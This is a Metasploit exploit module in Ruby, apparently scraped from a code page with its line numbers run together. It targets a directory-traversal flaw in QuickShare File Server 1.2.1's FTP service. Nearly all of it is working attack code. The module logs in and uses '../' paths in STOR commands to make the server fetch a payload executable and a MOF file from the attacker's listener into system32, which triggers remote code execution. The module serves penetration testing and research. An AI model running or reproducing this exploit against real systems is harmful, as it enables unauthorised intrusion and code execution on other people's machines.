Path: blob/master/modules/exploits/windows/ftp/quickshare_traversal_write.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec1213def initialize(info = {})14super(15update_info(16info,17'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",18'Description' => %q{19This module exploits a vulnerability found in QuickShare File Server's FTP20service. By supplying "../" in the file path, it is possible to trigger a21directory traversal flaw, allowing the attacker to read a file outside the22virtual directory. By default, the "Writable" option is enabled during account23creation, therefore this makes it possible to create a file at an arbitrary24location, which leads to remote code execution.25},26'License' => MSF_LICENSE,27'Author' => [28'modpr0be', # Discovery, PoC29'sinn3r' # Metasploit30],31'References' => [32['OSVDB', '70776'],33['EDB', '16105'],34['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],35['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/'],36['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],37['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],38['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER]39],40'Payload' => {41'BadChars' => "\x00"42},43'DefaultOptions' => {44'EXITFUNC' => 'thread'45},46'Platform' => 'win',47'Targets' => [48['QuickShare File Server 1.2.1', {}]49],50'Stance' => Msf::Exploit::Stance::Aggressive,51'Privileged' => false,52'DisclosureDate' => '2011-02-03',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64# Change the default description so this option makes sense65OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])66]67)68end6970def check71connect72disconnect7374if banner =~ /quickshare ftpd/75return Exploit::CheckCode::Detected76else77return Exploit::CheckCode::Safe78end79end8081def on_client_connect(cli)82peer = "#{cli.peerhost}:#{cli.peerport}"8384case @stage85when :exe86print_status("Sending executable (#{@exe.length.to_s} bytes)")87cli.put(@exe)88@stage = :mof8990when :mof91print_status("Sending MOF (#{@mof.length.to_s} bytes)")92cli.put(@mof)93end9495cli.close96end9798def upload(filename)99select(nil, nil, nil, 1)100101peer = "#{rhost}:#{rport}"102print_status("Trying to upload #{::File.basename(filename)}")103104# We can't use connect_login, because it cannot determine a successful login correctly.105# For example: The server actually returns a 503 (Bad Sequence of Commands) when the106# user has already authenticated.107conn = connect(false, datastore['VERBOSE'])108109res = send_user(datastore['FTPUSER'], conn)110111if res !~ /^(331|2)/112fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")113end114115res = send_pass(datastore['FTPPASS'], conn)116if res !~ /^(2|503)/117fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")118end119120# Switch to binary mode121print_status("Set binary mode")122send_cmd(['TYPE', 'I'], true, conn)123124# Prepare active mode: Get attacker's IP and source port125src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']126src_port = datastore['SRVPORT'].to_i127128# Prepare active mode: Convert the IP and port for active mode129src_ip = src_ip.gsub(/\./, ',')130src_port = "#{src_port / 256},#{src_port.remainder(256)}"131132# Set to active mode133print_status("Set active mode \"#{src_ip},#{src_port}\"")134send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)135136# Tell the FTP server to download our file137send_cmd(['STOR', filename], false, conn)138139disconnect(conn)140end141142def exploit143trigger = '../../../../../../../../'144exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"145mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.vbs"146@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))147@exe = generate_payload_exe148@stage = :exe149150begin151t = framework.threads.spawn("reqs", false) {152begin153# Upload our malicious executable154u = upload(exe_name)155156# Upload the mof file157upload(mof_name) if u158rescue ::Exception => e159print_error e.message160cleanup161end162}163super164ensure165t.kill166end167end168end169170171